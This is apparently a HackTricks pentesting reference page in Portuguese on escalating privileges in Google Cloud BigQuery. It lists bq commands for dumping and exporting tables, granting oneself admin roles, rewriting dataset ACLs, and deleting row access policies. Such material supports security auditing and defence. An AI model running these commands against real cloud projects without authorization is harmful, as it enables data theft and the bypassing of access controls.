GCP - BigQuery Privesc

Support HackTricks

BigQuery

Para mais informações sobre BigQuery, confira:

GCP - Bigquery Enum

Ler Tabela

Lendo as informações armazenadas dentro de uma tabela BigQuery, pode ser possível encontrar informações sensíveis. Para acessar as informações, as permissões necessárias são bigquery.tables.get, bigquery.jobs.create e bigquery.tables.getData:

bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

Export data

Esta é outra maneira de acessar os dados. Exporte-os para um bucket de cloud storage e baixe os arquivos com as informações. Para realizar esta ação, são necessárias as seguintes permissões: bigquery.tables.export, bigquery.jobs.create e storage.objects.create.

bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

Insert data

Pode ser possível introduzir certos dados confiáveis em uma tabela Bigquery para abusar de uma vulnerabilidade em outro lugar. Isso pode ser facilmente feito com as permissões bigquery.tables.get, bigquery.tables.updateData e bigquery.jobs.create:

# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

bigquery.datasets.setIamPolicy

Um atacante poderia abusar deste privilégio para dar a si mesmo permissões adicionais sobre um dataset do BigQuery:

# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

Apenas esta permissão permite atualizar seu acesso a um dataset do BigQuery modificando as ACLs que indicam quem pode acessá-lo:

# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>

bigquery.tables.setIamPolicy

Um atacante poderia abusar deste privilégio para dar a si mesmo permissões adicionais sobre uma tabela BigQuery:

# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create

De acordo com a documentação, com as permissões mencionadas é possível atualizar uma política de linha. No entanto, usando o cli bq você precisa de mais algumas: bigquery.rowAccessPolicies.create, bigquery.tables.get.

bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used

É possível encontrar o ID do filtro na saída da enumeração das políticas de linha. Exemplo:

bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:asd@hacktricks.xyz   21 Jan 23:32:09   21 Jan 23:32:09

Se você tiver bigquery.rowAccessPolicies.delete em vez de bigquery.rowAccessPolicies.update, você também pode simplesmente deletar a política:

# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'

# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'

Outra opção potencial para contornar políticas de acesso a linhas seria simplesmente alterar o valor dos dados restritos. Se você só pode ver quando term é Cfba, basta modificar todos os registros da tabela para ter term = "Cfba". No entanto, isso é prevenido pelo bigquery.

Support HackTricks

Last updated